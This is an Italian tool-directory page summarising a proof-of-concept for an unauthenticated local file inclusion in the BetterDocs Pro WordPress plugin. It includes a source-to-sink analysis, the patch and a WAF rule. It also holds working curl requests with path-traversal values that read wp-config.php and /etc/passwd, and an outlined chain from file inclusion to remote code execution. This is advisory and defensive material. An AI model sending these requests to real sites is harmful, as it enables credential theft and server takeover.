Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
By-Poloss..-..CVE-2026-7515-PoC — Inclusione Locale di File non autenticata | Kitploit
Strumenti/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

Inclusione Locale di File non autenticata

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
12 mesi faNon ancora revisionato

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Inclusione Locale di File Non Autenticata

Panoramica

CampoValore
CVE IDCVE-2026-7515
Punteggio CVSS9.8 (Critico)
Vettore CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
InteressatoBetterDocs Pro <= 3.8.0
Corretto3.8.1
RicercatoreNguyen Ngoc Duc (duc193)
Pubblicato18 Giugno 2026
CWECWE-98: Controllo Inadeguato del Nome File per Istruzioni Include/Require

Descrizione della Vulnerabilità

Il plugin BetterDocs Pro per WordPress è vulnerabile a Inclusione Locale di File nelle versioni fino alla 3.8.0 inclusa tramite il parametro doc_style. Ciò consente a attaccanti non autenticati di includere ed eseguire file PHP arbitrari sul server.

Analisi del Flusso: Sorgente → Destinazione

Sorgente (Input Utente)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Riga: 141

root@kitploit:~
// CODICE VULNERABILE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problema: L'input controllato dall'utente da $_POST['doc_style'] viene utilizzato direttamente senza alcuna validazione.

Destinazione (Funzione Pericolosa)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Riga: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problema: La variabile $doc_style (controllata dall'utente) viene interpolata direttamente nel percorso file passato a views->get(), che include il file.

Flusso dei Dati

root@kitploit:~
Richiesta HTTP POST
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
NESSUNA VALIDAZIONE (versione vulnerabile 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
Inclusione file tramite include() o require()
        ↓
Esecuzione di Codice PHP Arbitrario / Lettura File

Diff: Versione Vulnerabile vs Corretta

Versione Vulnerabile 3.8.0

root@kitploit:~
// Riga 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Versione Corretta 3.8.1

root@kitploit:~
// Riga 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Differenze Chiave

Endpoint AJAX Interessati

Entrambi gli endpoint si registrano con hook nopriv, il che significa che sono accessibili a utenti non autenticati:

root@kitploit:~
// Riga 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Riga 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpoint:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

Prova di Concetto

Prerequisiti

  • encyclopedia_nonce valido (trovato nel sorgente della pagina nelle pagine con il blocco BetterDocs Encyclopedia)

Sfruttamento Manuale

root@kitploit:~
# Step 1: Leggere wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Leggere /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Trovare il Nonce

Il nonce encyclopedia_nonce è esposto in JavaScript sulle pagine in cui è renderizzato il blocco BetterDocs Encyclopedia:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- Questo è ciò che serve
};

Percorso LFI a RCE

  1. Leggere wp-config.php - Estrarre le credenziali del database
  2. Caricare shell PHP - Tramite upload media di WordPress o editor dei temi
  3. Includere file malvagio - Tramite la vulnerabilità LFI
  4. Eseguire codice - Ottenere esecuzione di codice da remoto

Impatto

Rimedio

Fix Primario

Aggiornare a BetterDocs Pro versione 3.8.1 o successiva

Fix Manuale (se l'aggiornamento non è possibile)

Applicare la seguente patch a includes/Core/Encyclopedia.php:

root@kitploit:~
// Sostituire la riga 141 con:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Applicare la stessa correzione alla riga 236.

Regole WAF (Mitigazione Temporanea)

Aggiungere una regola per bloccare il path traversal nel parametro doc_style:

root@kitploit:~
# Blocca doc_style con pattern di path traversal
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'Tentativo LFI Bloccato'"

Riferimenti

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

File Analizzati

root@kitploit:~
Versione Vulnerabile: betterdocs-pro_3.8.0.zip
Versione Corretta:   betterdocs-pro_3.9.0.zip

File Chiave:
- includes/Core/Encyclopedia.php    (VULNERABILE)
- includes/Core/Scripts.php         (Contiene generazione nonce)
- includes/Utils/Views.php          (Logica di inclusione file)
Scarica lo strumento
AspettoVulnerabile (3.8.0)Corretta (3.8.1)
ValidazioneNessunaLista bianca con in_array()
Valori consentitiQualsiasi stringaSolo doc-grid, doc-list, doc-list-2
Controllo del tipoNoConfronto stretto (===)
Tipo di ImpattoGravitàDescrizione
ConfidenzialitàALTOLeggere file arbitrari (wp-config.php, /etc/passwd, ecc.)
IntegritàALTOModificare o eliminare file
DisponibilitàALTODenial of Service
Vettore di AccessoReteSfruttabile da remoto
PrivilegiNessunoNessuna autenticazione richiesta
Interazione UtenteNessunaNon richiesta